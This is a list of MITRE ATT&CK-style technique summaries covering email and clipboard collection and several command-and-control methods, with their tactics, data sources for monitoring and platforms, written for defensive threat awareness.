Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre